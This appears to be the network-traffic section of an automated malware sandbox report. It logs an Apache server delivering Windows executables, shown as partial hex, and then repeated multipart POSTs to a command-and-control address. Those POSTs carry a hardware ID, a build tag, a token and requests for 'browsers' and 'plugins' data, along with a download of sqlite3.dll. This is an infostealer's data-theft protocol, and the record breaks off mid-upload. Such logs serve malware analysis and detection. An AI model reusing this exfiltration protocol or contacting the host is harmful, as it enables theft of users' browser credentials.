Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 00:18:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 00:18:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 00:18:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 00:18:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 00:18:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 33 43 31 44 33 36 32 45 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 2d 2d 0d 0a Data Ascii: ------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="hwid"343C1D362E012263180025------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="build"tale------AECAKECAEGDHIECBGHII--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHDAFIDGDAAKEBFHDAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="message"browsers------JEGHDAFIDGDAAKEBFHDA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 2d 2d 0d 0a Data Ascii: ------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="message"plugins------AAEGHJKJKKJDHIDHJKJD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJKKECFIECAKECAFBGCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 2d 2d 0d 0a Data Ascii: ------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="message"fplugins------FHJKKECFIECAKECAFBGC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFCFHDHIIIECBGCAKFIHost: 185.215.113.206Content-Length: 6683Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFHIIEHIEGDHJJJKFIIHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 